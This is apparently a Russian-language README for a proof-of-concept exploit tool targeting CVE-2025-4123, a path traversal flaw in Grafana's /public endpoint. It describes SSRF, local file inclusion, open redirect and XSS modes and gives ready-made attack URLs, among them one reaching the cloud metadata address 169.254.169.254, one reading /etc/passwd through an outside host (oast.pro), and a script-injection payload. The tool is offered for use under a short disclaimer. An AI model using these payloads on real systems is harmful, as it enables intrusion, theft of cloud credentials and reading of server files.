CVE-2025-4123 - Эксплойт обхода пути Grafana

Разработано mitsec

Это инструмент эксплойта proof-of-concept (PoC) для CVE-2025-4123, критической уязвимости обхода пути в конечной точке /public Grafana. Эксплойт позволяет:

✅ Подделка серверных запросов (SSRF)
✅ Локальное включение файлов (LFI)
✅ Открытое перенаправление
✅ Межсайтовый скриптинг (XSS)

🔥 Затронутые версии

Экземпляры Grafana, в которых конечная точка /public/ неправильно обрабатывает закодированные пути, например:

/public/..%2F%5coast.pro%2F%3f%2F..%2F..

🚀 Использование

python3 cve_2025_4123_exploit_mitsec_final.py

Затем выберите желаемый режим:

SSRF - Внутренние сервисы, такие как 169.254.169.254
LFI - Чтение файлов, таких как /etc/passwd
Open Redirect - Перенаправление на внешние домены
XSS - Внедрение JavaScript в общедоступный путь

🧪 Пример

[*] SSRF URL: http://127.0.0.1:3000/public/..%2F%5C169.254.169.254/latest/meta-data/%2F%3f%2F..%2F..
[*] LFI URL:  http://127.0.0.1:3000/public/..%2F%5coast.pro%2F%3f%2F..%2F..%2F..%2Fetc%2Fpasswd
[*] XSS URL:  http://127.0.0.1:3000/public/%3Cscript%3Ealert('mitsec')%3C%2Fscript%3E

📄 Отказ от ответственности

Этот код предоставляется только для образовательных и авторизованных целей тестирования. Несанкционированное использование против систем без согласия является незаконным.

✍️ Автор

mitsec

CVE-2025-4123-Exploit-Tool-Grafana-

Популярное